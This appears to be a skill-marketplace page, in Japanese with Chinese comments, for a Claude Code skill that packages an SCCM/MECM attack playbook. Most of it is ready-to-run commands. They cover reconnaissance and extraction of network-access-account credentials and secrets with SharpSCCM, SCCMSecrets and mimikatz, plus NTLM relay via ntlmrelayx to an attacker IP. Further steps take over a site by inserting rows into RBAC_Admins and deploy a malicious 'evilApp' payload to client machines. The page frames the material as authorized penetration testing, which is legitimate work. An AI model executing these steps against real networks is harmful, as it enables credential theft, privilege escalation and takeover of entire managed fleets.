mcpField
S
sccm-mecm-attack

sccm-mecm-attack

github.com/wgpsecセキュリティ1.8k41 回インストール4 日前に更新
リポジトリ

sccm-mecm-attack について

sccm-mecm-attackは、SCCM/MECMのセキュリティ評価と攻撃手法をまとめたガイドです。社内ネットワークの侵入テスト担当者向けに、偵察、認証情報の取得、権限昇格、横展開の手順と関連ツールを説明します。

主な機能

  1. 01SCCMの構成とコンポーネントの整理
  2. 02DNS、LDAP、ツールによる偵察
  3. 03認証情報とポリシーの抽出方法
  4. 04サイト乗っ取りと権限昇格
  5. 05管理権限を使った横展開

活用シーン

  1. 01社内ネットワークのSCCMサイトと管理コンポーネントの列挙
  2. 02NAA、タスクシーケンス、配布ポイントのデータ露出評価
  3. 03許可されたテストでサイト権限とNTLMリレーのリスクを確認
  4. 04SCCM管理権限によるクライアント実行経路の確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill sccm-mecm-attack

インストール後、Claude Code で/sccm-mecm-attackを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

references/
credential-harvesting.md
sccm-enumeration.md
site-takeover.md

詳細

SCCM/MECM 攻撃

発動条件

以下の状況で本スキルを使用します:

  • 内部ネットワークで SCCM / MECM / ConfigMgr サービス(サイトサーバー、MP、DP)が見つかった
  • DNS 列挙で _mssms_mp または _mssms_sul SRV レコードが見つかった
  • Management Point(MP)または Distribution Point(DP)が見つかった
  • 横方向の移動や認証情報の取得に SCCM を利用する必要がある
  • BloodHound / LDAP 列挙で mSSMSManagementPoint オブジェクトが見つかった

前提条件

  • ドメインユーザーの認証情報(一部の手法は匿名またはマシンアカウントに対応)
  • ツール:SharpSCCM、sccmhunter、SCCMSecrets、pxethiefy、cmloot、ntlmrelayx
  • ネットワーク接続:MP(TCP 80/443)、DP(TCP 80/443)、Site DB(TCP 1433)、SMS Provider(TCP 443)

SCCM アーキテクチャ早見表

役割説明デフォルトポート主な識別情報
Primary Site Server中核となる管理サーバー-SMS_SITE_COMPONENT_MANAGER を実行
Management Point(MP)クライアントポリシーの配布80/443IIS CCM_* 仮想ディレクトリ
Distribution Point(DP)コンテンツの配布80/443SMS_DP$ 共有 / SCCMContentLib$
Site DatabaseSQL Server のストレージ1433RBAC_Admins / RBAC_ExtendedPermissions
SMS ProviderWMI/AdminService API443AdminService REST API
CAS階層の最上位(複数サイト)-複数の Primary を管理

判断ツリー

[开始] 发现 SCCM 基础设施
    │
    ├─ 有域凭证?
    │   ├─ 是 → Phase 1: SCCM 侦察
    │   └─ 否 → PXE 启动介质 / 匿名注册尝试
    │
    ├─ 凭证获取
    │   ├─ 可注册设备或控制机器账号 → Phase 2: 秘密策略提取
    │   └─ 已在 SCCM 客户端 → 本地 DPAPI 提取
    │
    ├─ 权限提升
    │   ├─ Client Push 启用 → Phase 3: 强制认证 relay
    │   └─ 有 SCCM 管理员 → Phase 4: 横向移动
    │
    └─ 层级接管
        └─ 多站点环境 → Phase 5: CAS 传播

フェーズ 1:SCCM の偵察

目標:SCCM インフラストラクチャのコンポーネントを発見し、識別します

1.1 DNS SRV レコードの検索
# 查找 Management Point
nslookup -type=SRV _mssms_mp._tcp.$DOMAIN
dig SRV _mssms_mp._tcp.$DOMAIN

# 查找 Software Update Point
nslookup -type=SRV _mssms_sul._tcp.$DOMAIN
1.2 LDAP 列挙
# 查找 Management Point 对象
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

# 查找 SCCM 相关 SPN
setspn -Q *SMS* | findstr /i "SMS"
setspn -Q *SCCM* | findstr /i "SCCM"
1.3 sccmhunter による自動偵察
# 发现 SCCM 基础设施
sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP

# SMB 枚举确认角色
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP

# 显示发现结果
sccmhunter.py show -smb
sccmhunter.py show -all
1.4 ローカル情報の収集
# 本地站点信息 (已安装 SCCM 客户端)
SharpSCCM.exe local site-info

# WMI 查询
Get-WmiObject -Class SMS_Authority -Namespace root\CCM
1.5 PXE 起動メディアの発見
# 探测 PXE 环境 (无需域凭证)
pxethiefy.py explore -i $INTERFACE

フェーズ 2:認証情報の取得

目標:NAA 認証情報、タスクシーケンスのパスワード、DP の機密ファイルを抽出します

2.1 NAA の抽出 — 新しいデバイスの登録
# HTTP MP — SCCMSecrets (推荐)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
  -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"

# HTTPS MP (PKI 环境)
python3 SCCMSecrets.py policies -mp "https://$MP_IP" \
  -u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' \
  --pki-cert ./cert.pem --pki-key ./key.pem

# NTLM relay 提取策略
ntlmrelayx.py -t 'http://$MP_IP/ccm_system_windowsauth/request' \
  -smb2support --sccm-policies

# sccmhunter 自动化
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto
# Windows — SharpSCCM
SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
2.2 PXE 起動メディアのパスワード抽出
# Phase 1 发现 PXE 后,解密启动介质中的凭证
pxethiefy.py decrypt -f $PXE_MEDIA_FILE
2.3 NAA の抽出 — 既存デバイスの再利用
# 使用已攻陷设备的注册凭据
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
  --use-existing-device compromised_device/
2.4 ローカル DPAPI の抽出
# SystemDPAPIdump (远程)
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@$TARGET
# SharpSCCM 本地
SharpSCCM.exe local secrets disk
SharpSCCM.exe local secrets wmi

# SharpDPAPI
SharpDPAPI.exe SCCM
# mimikatz
dpapi::sccm
2.5 WMI の直接クエリ
# NAA 凭证 (加密 blob)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
  -Class CCM_NetworkAccessAccount

# 任务序列变量
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
  -Class CCM_TaskSequence
2.6 Distribution Point のファイル収集
# SCCMSecrets — 按扩展名搜刮
python3 SCCMSecrets.py files -dp "http://$DP_IP" \
  -u '$USER' -H '$HASH' \
  --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

# cmloot — 批量搜刮
python3 cmloot.py $DOMAIN/$USER@$TARGET \
  -findsccmservers -target-file sccmhosts.txt \
  -cmlootdownload sccmfiles.txt

フェーズ 3:権限昇格

目標:Client Push / Site DB / AdminService relay を通じてサイト管理者権限を取得します

3.1 Client Push による強制認証

原理:Client Push のインストールでは、高権限アカウントを使用してターゲットに NTLM 認証を開始し、別のターゲットにリレーします。

# 启动 relay
ntlmrelayx.py -smb2support -socks -ts -ip $ATTACKER_IP -t $TARGET
# 触发 Client Push
SharpSCCM.exe invoke client-push -t $TARGET --as-admin
3.2 サイトの乗っ取り — MSSQL Relay

原理:サイトサーバーのマシンアカウントは Site Database に対する sysadmin 権限を持っています。MSSQL にリレーした後、管理者を追加します。

# 步骤 1: 启动 MSSQL relay
ntlmrelayx.py -t "mssql://$SITE_DB" -smb2support -socks

# 步骤 2: 触发站点服务器认证 (Coercer / PetitPotam 等)
# 步骤 3: 通过 SOCKS 连接 SQL
proxychains mssqlclient.py "DOMAIN/$SITE_SERVER$"@"$SITE_DB" -windows-auth
-- 步骤 4: 注入 SCCM 管理员
-- 先获取目标用户 SID
USE CM_$SITE_CODE;
INSERT INTO RBAC_Admins (AdminSID, LogonName, DisplayName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES ($ADMIN_SID, '$DOMAIN\$USER', '$DOMAIN\$USER', 0, 0, '', '', '', '', '$SITE_CODE');

INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
        'SMS0001R', 'SMS00ALL', 29);

INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
        'SMS0001R', 'SMS00001', 1);

INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
        'SMS0001R', 'SMS00004', 1);
3.3 サイトの乗っ取り — AdminService Relay
# relay 到 SMS Provider AdminService
ntlmrelayx.py -t "https://$SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
  -smb2support --adminservice \
  --logonname "$DOMAIN\\$USER" \
  --displayname "$DOMAIN\\$USER" \
  --objectsid $OBJECTSID
3.4 Passive → Active サイトサーバー Relay
# relay passive 站点服务器到 active 站点服务器
ntlmrelayx.py -t $ACTIVE_SERVER -smb2support -socks

# 通过 SOCKS dump hash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER

# 以 active 站点服务器身份接管
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:$NTHASH -ip $SMS_PROVIDER_IP

フェーズ 4:横方向の移動

目標:SCCM 管理者権限を利用してクライアント上でコマンドを実行します

4.1 アプリケーションのデプロイ
# SharpSCCM — 指定资源 ID 执行
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
4.2 PowerSCCM の完全なワークフロー
# 发现站点代码
Find-SccmSiteCode -ComputerName $SITE_SERVER

# 建立会话
$session = New-SccmSession -ComputerName $SITE_SERVER -SiteCode $SITE_CODE -Credential $CRED

# 创建恶意应用
New-SccmApplication -Session $session -ApplicationName "evilApp" \
  -PowerShellB64 $ENCODED_PAYLOAD

# 部署到目标
New-SccmApplicationDeployment -Session $session -ApplicationName "evilApp" \
  -AssignmentName "deploy" -CollectionName "target_collection"

# 强制客户端检入
Invoke-SCCMDeviceCheckin -Session $session -CollectionName "target_collection"
4.3 CMScript の実行
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN '$SITE_SERVER' \
  -TargetDevice '$TARGET' -Path '.\payload.ps1' -ScriptName 'evilScript'
4.4 AdminService API とのやり取り
# sccmhunter 管理控制台
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$SITE_SERVER_IP"

# 交互命令: help, interact, ps, ls, cat, exec, etc.

フェーズ 5:階層の乗っ取り

目標:単一サイトから SCCM 階層全体へと範囲を広げます

5.1 CAS による自動伝播

いずれかの Primary サイトで追加された管理者は、CAS およびすべての子サイトに自動的に伝播します。フェーズ 3 を利用していずれかの Primary で add_admin を実行した後、レプリケーションが同期するまで待てば、すべてのサイトを制御できます。

# 在 sccmhunter admin 会话中
add_admin $DOMAIN\\$USER $ADMIN_SID
5.2 TAKEOVER-5:サイト間 AdminService Relay

複数サイトの環境では、リモート SMS Provider の AdminService にリレーして管理者を追加します。

ntlmrelayx.py -t "https://$REMOTE_SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
  -smb2support --adminservice \
  --logonname "$DOMAIN\\$USER" \
  --displayname "$DOMAIN\\$USER" \
  --objectsid $OBJECTSID

注意:ConfigMgr 2509+ では、AdminService 上の NTLM 認証はデフォルトで拒否されます。この手法は旧バージョンでのみ使用できます。


よくある問題のトラブルシューティング

新しいデバイスを登録できない
  1. MP が HTTPS とクライアント証明書を要求している — PKI 証明書を取得するか、リレーする必要があります
  2. 自動承認が有効になっていない — 承認済みデバイスの認証をリレーしてみてください
  3. サイトの設定が「ドメイン参加済みデバイスのみ」になっている — 既存のマシンアカウントを使用する必要があります
NAA の抽出結果が空
  1. サイトで NAA が設定されていない(eNAA 環境)— タスクシーケンスの抽出を試してください
  2. NAA のパスワードが期限切れになっている — Collection Variables を確認してください
  3. WMI ポリシーがまだ配布されていない — ポリシーの更新サイクルを待ってください
Relay に失敗する
  1. ターゲットで SMB 署名が有効になっている — SMB へのリレーはできません。HTTP/MSSQL を使用してください
  2. EPA(Extended Protection for Authentication)— 回避するには TLS 証明書の秘密鍵が必要です
  3. ConfigMgr 2509+ では AdminService 上の NTLM が拒否される — MSSQL 経由の方法を使用する必要があります

ツールリファレンス

ツール用途プラットフォーム
sccmhunterSCCM の偵察/悪用/管理Linux
SharpSCCMSCCM クライアントの悪用Windows
SCCMSecretsポリシー/NAA/DP の抽出Linux
pxethiefyPXE 起動メディアの分析Linux
cmloot / sccm-http-looterDP ファイルの収集Linux
ntlmrelayxNTLM relay 攻撃Linux
PowerSCCMSCCM の管理操作Windows

詳細リファレンス

コメント